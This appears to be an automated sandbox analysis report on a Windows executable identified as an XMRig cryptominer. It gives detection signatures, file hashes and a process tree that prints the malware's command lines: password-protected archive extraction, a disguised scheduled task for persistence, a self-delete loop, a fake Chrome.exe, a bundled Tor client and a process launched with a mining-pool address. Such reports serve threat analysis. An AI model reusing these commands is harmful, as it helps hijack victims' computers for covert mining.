Resubmissions
17/04/2024, 11:57
240417-n4jygadh88 1017/04/2024, 11:56
240417-n4jbyafe3y 1017/04/2024, 11:56
240417-n4bbbsdh82 1017/04/2024, 11:56
240417-n4ad2afe3v 1017/04/2024, 11:56
240417-n3939sdh77 1017/04/2024, 06:22
240417-g47k7sfg47 10Analysis
-
max time kernel
153s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
17/04/2024, 11:56
General
-
Target
a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355.exe
-
Size
16.0MB
-
MD5
a9d06dafb91f15c755391bd9d8360f40
-
SHA1
a261feb9c781965e5598f9a1ea5fbbc140fc270b
-
SHA256
a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355
-
SHA512
7b6252b2779aaaecc1f0f10ecd7725e1c35c257bdf62edc689546559649d94c97b319ccf62f23a068fb07a51a9d96688093385de610c4c98495d64f2c6845da4
-
SSDEEP
393216:CYkuJyJxES3GqYpKjJxDJ9l4aVjod/ImJcplaF5LASRYTWKGw:9s33YcjXDCEjodSl053Y0w
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 2 IoCs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 8 IoCs
-
Loads dropped DLL 6 IoCs
-
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
-
Suspicious use of SetThreadContext 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 3 IoCs
-
NTFS ADS 2 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 14 IoCs
-
Suspicious use of FindShellTrayWindow 16 IoCs
-
Suspicious use of SendNotifyMessage 15 IoCs
-
Suspicious use of WriteProcessMemory 39 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355.exe"C:\Users\Admin\AppData\Local\Temp\a3d0d874700f493debbcd3515ba28645deb565004121c6f5643502863c122355.exe"1⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txtC:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\A3D0D8~1.EXE"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\A3D0D8~1.EXE" exit)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout /t 03⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 03⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 03⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck919362⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- NTFS ADS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\attrib.exe-o stratum+tcp://fgnfdbxjr.xyz:5040 -u -p x -t 43⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Views/modifies file attributes
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4140 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:81⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe -SystemCheck1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Chrome.exe" -SystemCheck919362⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7.4MB
MD5cccbe69c7b6e39ff66a4a48f838ce52d
SHA1339c9ae4d021f862c964607ea620a72d9057d513
SHA256c995e1ef940d032f41145284cac8d9c31482607deb12f33f1f719e717472004f
SHA51228bf29118997c702f84694888326cfb9d75d516825e1434064f8d056d39325fd0770cdcd6877ecb616af281672df86272690f20c19d30092150a33316c3d5c04
-
Filesize
8.4MB
MD5573be542141fc76453b670b469f5ada8
SHA1b7d07341f7aff6818c3c3c2a699483497e8c5e3f
SHA256c67b634151c7759ebdad2ead23447a5c6aec53ccc7191d99250193f21e4916cc
SHA5124359b91e02ab6da228039c760f44aca07702278ec4a991857e889c2e8d40c1f918202941a4390bd95f902a2d06fb04eb1d1583663da623f485c41e5a6b94fc23
-
Filesize
722KB
MD543141e85e7c36e31b52b22ab94d5e574
SHA1cfd7079a9b268d84b856dc668edbb9ab9ef35312
SHA256ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d
SHA5129119ae7500aa5cccf26a0f18fd8454245347e3c01dabba56a93dbaaab86535e62b1357170758f3b3445b8359e7dd5d37737318a5d8a6047c499d32d5b64126fc
-
Filesize
14.6MB
MD5e8cb9bc0d60ebd8f88da2b3641e365f4
SHA150bfcf9be4aa0bbe5fe69a547c03d7d84ec90d97
SHA2565b743067fbde46e8fe7739b3ec5d252a8cb3175984961acacd877290cb795760
SHA51252b02257df87ab138e33d8e12b32b37587e15eedf433ce8e95e4ae6fd393410c27face8c7d8028cd41c89899f418f13ed09ade152ba7d82641711030382546e9
-
Filesize
2KB
MD56ecac968810e2fcfe2135daef46deb92
SHA18084e94517c38a55f39bbd9b8554e89c89e95be5
SHA25665f9647986a19ab09709a1e45e3e2a8a59de6a34d13762ec84d2ab8a3aa4cbbb
SHA5125af69976332de9c21abac982284b7e3b123fa622da9676519e76580ca7d35c80e066cf70dc5d7e3c09870b9c4877f6527f6e4dc57f1c5d945accbfce3147e410
-
Filesize
14.6MB
MD5eea64418fc0ae00f2b4e86d37e3937de
SHA1a33c6550e6f4582d16a481378cb0d199f4ac4b0f
SHA256448eda4285eca0473467b861fefc00f14ac901a8864aae5dd380bcbdbaf0cab1
SHA5129b7f8e52baab56da7eb616617dad3b05ac30085b90dc22f00990770134bafeaaa4b17bf1ce7b1d833360ca8ef11a08b185a48e00c9debfd003137c2f84fdf305
-
Filesize
11KB
MD55170771324d77a5cf57221fbe6314e79
SHA1eea9b00134cf09e9efbc129273c950465a24c198
SHA25623faa3929141b0a3f3571c34f426c593c41582f8f3c43acde71a64d7cfc07767
SHA5129eeaecff9a7d7d58971f5075abf586fa0bd814f7effe9d5865c9042e45368562a2060f3d6e32d472f18b98f7317f5daf15903020bd7591554c7d67b71833b19e
-
Filesize
2.5MB
MD51df6c9dc09d318a9372b9af690fe588c
SHA1210efca3b7df334d978d47a5ff995e8cafb7e491
SHA256312df91987797995dead8721129fed7784d13c6ab7c7dc7bb70f552a16945b05
SHA51255db43386ab483a2589676f6720803e084483ecdd58a316a41a8b8110adc4ef5fba0ae46552a77d998321db7bd5ce89ea50c11c7ffa811bf21bde6dd99e9ccb6
-
Filesize
15.6MB
MD503e88bed005805106b26a8cbab4e712c
SHA1e44ddd2669a076c23d11b5f246fd73986a6c1bc7
SHA256709f14af463e20e1853f728e1816e284e1ade53e83d65560526f8b8b6a43ef32
SHA512ed56686526c21372d70f9bb454289b103c8a44a4ba2db25ce0abfa12e3f25c8fbcc990cc2f1ec3cb9bd66f82345179d47940a03fbaebbf3a53797b1a7eea2c37
-
Filesize
2.5MB
MD554183220aa6c777f8228474ff5b5df01
SHA1ed438f17bffb37d42afd61d8dcef0c50d554c65c
SHA2569a78c80e93bd1ed3d71eb090465e39a69470cd1812fc5e169d8b412e8c665963
SHA51270b1e22449c5264bed46b62595206e3ad36e2a9c33fa9589acb792d499dcbbae5ebdbf3b35c140e72a7d594f807a6ce1ab925736b5e1a07c17a26445a2591987
-
Filesize
20KB
MD5c0d02c119a72380db34dc6f1a12ea210
SHA10ca4430d8b5aa61dd65fededf983c50edc1d1083
SHA25619c9c7c11ca187efd6ad933b6a4cc0e5e2930c07a7f96a638bfd65639e98f33b
SHA51236113de260f473b7b0339de538ef109d8bdcf0feaf58312034fb7cbd7a1025c4c4350ba4c8f5e66fa4aa89d6b1657eb48c754de95a5d34b4c8078bc5a3e0cf6d
-
Filesize
2.6MB
MD5c7e7df0119da2669c8d05dcf0f2cb4c5
SHA199324bd69525feb253c665023c9261b3f078818b
SHA2566b92f204e74bf781bdd6e46152bf993deb86e367e749a29a47ba65f23d8846ff
SHA512a9fd3259cbca5411df9791b215348d21b5ddd0cad942131ef852167737ee17f76e62c827edcd22c49868063d1af87d878663a15ec02cb53e8afbb75e19f45bab
-
Filesize
7.2MB
MD566fe638ae30dfec6fb9213a5aecd1e15
SHA1ba8faf324657ae742fb1f4451b26d5cc46033830
SHA256c3a4c5b3ce1ec97ede4317113b633bfbe89cf7d114e2a408c722228164ef9cab
SHA512ab96fb181f96031a230843ca23cf082ce242250d6ccc3e997274ffda78293526cf1620c1cb1b6ab480ceb8f46b1ff1e9fb2a54d71cbe94280a7fecc083e4b23e
-
Filesize
20.3MB
MD5f13487c3cc97347b3c5cef6d65c99ec2
SHA1d64a06a2b7d807045b3078f7c32f88f71d58517e
SHA2565a3a916bc9139fd569038b8b45227551b325586760c5c293814ec51c05fb22c3
SHA512030b716c673716176f2d772884bea2b507b05ae0bd7ade9ecae3ca08f0aad61ff97aa895ee5e28b6931a5e867b995c032c84fa0a0521b592ea6e242566960615
-
Filesize
3KB
MD5c7a2e626008e631684acb2b532cee0ab
SHA169db6b523a6896262b80fd4b62651282f52dab96
SHA256fe1e9c68e064d695d9f458b84b339631c356d3bda449ee7faf43a1eef125df67
SHA512f71b2abdc1a546c667cf547367aabca6f58ca0d0d91204a40b68b124db4d550c47e80b489ad2deeaf0fbd2190250391e538075f96d1a952b7e80611d0323c511
-
Filesize
6B
MD538aca38c47682bd35917deac87447e37
SHA1da712e3c44397450ba90a1f80f6da93995e4e998
SHA256d9e7362b1136ce6e71d1b19a37150a2ba210fb27c09d1c18c656e99c78802bab
SHA512820e74a6892a1615023220a827b7e8424c3ea8881a21de756a31a7ca941348d3e3db097f6efdb8150349fbe455c8794403ee03ce553005c5b6e91809bb0cf8c7
-
Filesize
201B
MD5b9d2fe9cfa840518fa39039c928d4938
SHA10561516b7cfa784cf400349983817c8b18817256
SHA25669d57bfb46ef8097c1cfca65885790421d0e0965b7778f165cd7df9368807776
SHA512894510d39a044a37325d73b8348860960b3a78c54e7cdf81357f4b50e8dcf5d47ab98c768e6439949ba835802b2a5e98314441127d9655b027caf246e09e013d
-
Filesize
3.4MB
MD5791a48e7cf84ec1532d20127556f6300
SHA1774f71e595cfc7e24dc941839566bc9edd9156c5
SHA256af682ad107cf0e9d9f11adeaf88f817610988b56577c4020897debc0f98e26ff
SHA512ecbb4a07bb68fec5258be0adc91b89d179b5668bbab3be3bd72d5339f8bf3b32a1860b38693a304029fe989bd92adb020cf755f673b1e59966dfc75e4f958cfa
-
Filesize
974KB
MD5be51ba4bea2d731dacf974c43941e457
SHA151fc479fd8ee9a2b72e6aa020ce5bb1c7a28f621
SHA25698d06628e3d9c8097d239722e83ad78eb0b41b1e2f54d50a500da6d9292ff747
SHA5126184accd206aa466278c2f4b514fd5c85820d47cf3a148904e93927621ac386890e657f09547b694c32ef23c355ae738b7c7d039fcd6c791529198c7b0b6bd1e
-
Filesize
646KB
MD5c1507e234ff7f11a259d87a57af740be
SHA17478ba561c9f478ede650561867ebd2db58da42f
SHA256d6a7d46f6fc803b50460d03c0bc14f2f128ee2becabcf1713715bcebf13ee75b
SHA51264d0657050028d846097429ad1268844038059279e1256329716b937338de5fc1b5f50f420b8aa781c5e2a19f15158f564569db639981fef10fa5e57dfd4717b
-
Filesize
657KB
MD57cb2f0f4bba8d16c3200e9ac2a25b7c0
SHA163cf39682bf6876f563e1567df3c55fd5939e6ea
SHA256ec52e90c68dd0e7603df3f9fe6c909d019a7e94dc3ce0efd8baf67864a43b74b
SHA5127a660d87739914c68cadb56a4acbf27d68fd145b3bb65b957b4c767dfabe0762c40d58faa3a2df3b3453083ea658411c79d53be5166dda844782a9cd2617a264
-
Filesize
1.1MB
MD5ead6d4a87041e13b9041f78be1cb84d1
SHA1896a336e08a1904537ee5a4a86eb0e885a18e17a
SHA256b94b8981f8110944c5b03c9cba4066e9d0daa13687dead387bcbc772132c6d24
SHA51234054ec79691145a8d511f9425f9ad44e07f8bfb38bd0b3251a5db3358c0055344615990fb770d4bdcbf04c9461847dfd4f6d2bac1e43ec815426a94d065c580
-
Filesize
965KB
MD57847c7b13b3414e8e7652880b4609205
SHA1930670acc16157f56aaf69423e5d7705441764ba
SHA25638200438cf0c9c20d17e5b9030d2ad2e4a1b6b9dc41c287bc603dd50d22e67bb
SHA512c3c81dc3eb546c40b3606338deadbd63331659645dd24b5fd0d4fb3170b053fef528ee3fe005c9446176a5c049e9412ea8193ad2f8b9a7301ff67b088f1bbb6e
-
Filesize
313KB
MD597d89dec5f6a236b6832a5f3f43ab625
SHA118f2696a3bf4d19cac3b677d58ff5e51bf54b9e8
SHA256c6dca12e0e896df5f9b2db7a502a50d80d4fb014d7ec2f2ceb897b1a81f46ead
SHA5127e82d1e37dc822a67e08bd1d624d5492f5813a33ec64f13d22caef9db35ebb9bb9913582289ebdecad00e6b6148d750ae0b4437364ef056d732734255498be54
-
Filesize
608KB
MD5624304f2ba253b33c265ff2738a10eb9
SHA15a337e49dd07f0b6f7fc6341755dc9a298e8b220
SHA25627b857131977106c4a71ce626225d52a3d6e2932cb6243cb83e47b8d592d0d4f
SHA512163820961a64b3fda33969cbb320aa743edc7a6bacebe033054c942e7a1d063f096290a59fad1569c607666429e2f3133fcfe31ef37649f9da71b453ef775e5a
-
Filesize
4.3MB
MD59f2d86da7d58a70b0003307d9cfc2438
SHA1bd69ad6ea837e309232d7c4fd0e87e22c3266ac5
SHA2567052619814a614a1b157c5c94a92dbec22b425a0977ac8b21958b8db81e2dd65
SHA512ce345ff77d8043f416a04b782be8e7b0d5fdea933f3ac79abb88648a9fca23d7a69f537a825d0b636ba64f80afe70f758114ddbf412bd9398800ba4b6e359a99
-
Filesize
107KB
MD5d490b6c224e332a706dd3cd210f32aa8
SHA11f0769e1fffddac3d14eb79f16508cb6cc272347
SHA256da9185e45fdcbee17fcd9292979b20f32aa4c82bc2cb356b4c7278029e247557
SHA51243ce8d4ee07d437aaca3f345af129ff5401f1f08b1292d1e320096ba41e2529f41ce9105e3901cb4ecb1e8fde12c9298819961b0e6896c69b62f5983df9b0da3
-
Filesize
10.9MB
-
Filesize
10.9MB
-
Filesize
128KB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
608KB
-
Filesize
140KB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
908KB
-
Filesize
336KB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
844KB
-
Filesize
2.9MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB